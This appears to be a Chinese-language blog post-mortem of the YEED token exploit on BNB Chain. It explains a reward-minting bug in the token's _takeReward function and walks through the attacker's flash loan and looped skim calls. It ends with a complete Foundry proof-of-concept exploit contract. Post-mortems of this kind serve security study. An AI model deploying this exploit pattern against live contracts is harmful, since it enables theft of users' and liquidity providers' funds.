YEED 漏洞分析

  • Archime
  • 更新于 2022-11-02 23:48
  • 阅读 3339

YEED 漏洞分析

1、YEED 漏洞相关地址

交易:https://bscscan.com/tx/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f3ca3fa83a 合约地址: BSC-USD-ZEED: https://bscscan.com/address/0xb2f53069e1555793481aafe639f8e274f4ec8435 BSC-USD-YEED 2:https://bscscan.com/address/0xa7741d6b60a64b2aae8b52186adea77b1ca05054 BSC-ZEED-YEED 2:https://bscscan.com/address/0x8893610232c87f4a38dc9b5ab67cbc331dc615d6 BSC-HO-YEED 2 : https://bscscan.com/address/0xbc70fa7aea50b5ad54df1edd7ed31601c350a91a YEED代币合约地址: https://bscscan.com/address/0xe7748fce1d1e2f2fd2dddb5074bd074745dda8ea#code 攻击者账户:https://bscscan.com/address/0xec14207d56e10f72446576779d9b843e476e0fb0 攻击者合约地址: https://bscscan.com/address/0x05e55d051ac0a5fb744e71704a8fa4ee3b103374

2、攻击概况

交易:https://phalcon.blocksec.com/tx/bsc/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f3ca3fa83a

1.png

3、获利分析

2.png

4、攻击思路

通过交易所获利的思路除了操作代币价格失衡外,更简单的方法是获得交易的代币即可。攻击者通过利用合约漏洞直接不停增发代币,最终通过交易所获利。

5、攻击过程&漏洞原因

根据以上攻击思路,从交易记录分析攻击过程:

  1. 攻击者先通过交易所 0x33d5-HoSwap-LP 获取启动资金 662 个YEED代币。在通过闪电贷获取资金后, 0x33d5-HoSwap-LP 交易所将回调攻击者的pancakeCall 函数,其中实现了攻击逻辑。

3.png

  1. 攻击者将获取的662个YEED代币全部转移至 0xa774-Cake-LP 合约中,奇怪的是根据事件日志显示,0x8893-PancakePair、0xbc70-PancakePair另外两个不相关的合约中的YEED合约也增加了。需要注意,最后YEED代币还销毁了数量为 _amount.mul(_burnFee).div(1000); 的代币,其中burnFee=50 。 4.png 根据YEED合约分析代币转移时的逻辑可知,每次的奖励等于销毁的数量,其中zeedReward、hoReward、usdtReward的比例分别为50%,25%,25%,但实际增加时却给每个交易合约分别增加销毁的数量。
 function _takeReward(
        address sender,
        uint256 rewardFee
    ) private {
        if (rewardFee == 0) return;
        uint256 zeedReward = rewardFee.div(2);                      //合约中本意给每个交易所的比例为50%、25%、25%
        uint256 hoReward = rewardFee.div(2).div(2);
        uint256 usdtReward = rewardFee.sub(zeedReward).sub(hoReward);

        _balances[swapPair] = _balances[swapPair].add(rewardFee);   //但此处给每个交易所都增加了100%,意味着增发了200%的burn数量代币
        emit Transfer(sender, swapPair, usdtReward);

        _balances[swapPairZeed] = _balances[swapPairZeed].add(rewardFee);
        emit Transfer(sender, swapPairZeed, zeedReward);

        _balances[swapPairHo] = _balances[swapPairHo].add(rewardFee);
        emit Transfer(sender, swapPairHo, hoReward);
    }
  1. 另外还需要注意,YEED合约在函数_transfer中规定了只有代币转移to的地址为指定的3个交易所才可获得奖励,否则就是标准的代币转移函数。为了最快实现增发YEED代币,攻击将每次转移的to地址都设置为3个指定的交易所地址之一,循环往复。
 //transfer amount, it will take tax, burn, liquidity fee
        if (isSwapPair(to)) {
            _transferSell(from, to, amount);
        } else {
            _transferStandard(from, to, amount);
        }

5.png

  1. 最终攻击者调用各交易所的skim函数,并将to地址设为自己的地址,获得增发的YEED代币并归还贷款

6.png

  1. 最后攻击者在各交易所兑换YEED代币,离场

7.png

6、漏洞复现

复现代码参考链接:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Zeed_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";                               

contract ContractTest is DSTest {
  IPancakeRouter pancakeRouter =
    IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));       //定义各交易所地址以及合约类型
  IPancakePair usdtYeedHoSwapPair =
    IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
  IPancakePair usdtYeedPair =
    IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
  IPancakePair hoYeedPair =
    IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
  IPancakePair zeedYeedPair =
    IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
  IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
  IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
  CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

  function setUp() public {                   //指定fork的区块
    cheats.createSelectFork("bsc", 17132514); // fork bsc at block 17132514
  }

  function testExploit() public {
    yeed.approve(address(pancakeRouter), type(uint256).max);                             
    (uint112 _reserve0, uint112 _reserve1, ) = usdtYeedHoSwapPair.getReserves();     //获取闪电贷
    usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));
    emit log_named_uint(
      "Before exploit, USDT balance of attacker:",
      usdt.balanceOf(msg.sender)
    );
    address[] memory path = new address[](3);
    path[0] = address(yeed);
    path[1] = hoYeedPair.token0();
    path[2] = usdtYeedPair.token0();
    pancakeRouter.swapExactTokensForTokens(
      yeed.balanceOf(address(this)),
      0,
      path,
      msg.sender,
      block.timestamp + 120
    );
    emit log_named_uint(
      "After exploit, USDT balance of attacker:",
      usdt.balanceOf(msg.sender)
    );
  }

  function pancakeCall(         //闪电贷回调函数,真正漏洞利用逻辑实现
    address sender,
    uint256 amount0,
    uint256 amount1,
    bytes calldata data
  ) public {
    yeed.transfer(address(usdtYeedPair), amount1);
    for (uint256 i = 0; i < 10; i++) {              //循环调用3处交易所,实现代币增发
      usdtYeedPair.skim(address(hoYeedPair));                                             
      hoYeedPair.skim(address(zeedYeedPair));
      zeedYeedPair.skim(address(usdtYeedPair));
    }

    usdtYeedPair.skim(address(this));                  //将各交易所增发的YEED代币转移至本合约地址
    hoYeedPair.skim(address(this));
    zeedYeedPair.skim(address(this));

    yeed.transfer(msg.sender, (amount1 * 1000) / 997);  //归还闪电贷,因为存在利息,所以amount1 *1000/997
  }
}
点赞 0
收藏 1
分享

0 条评论

请先 登录 后评论
Archime
Archime
江湖只有他的大名,没有他的介绍。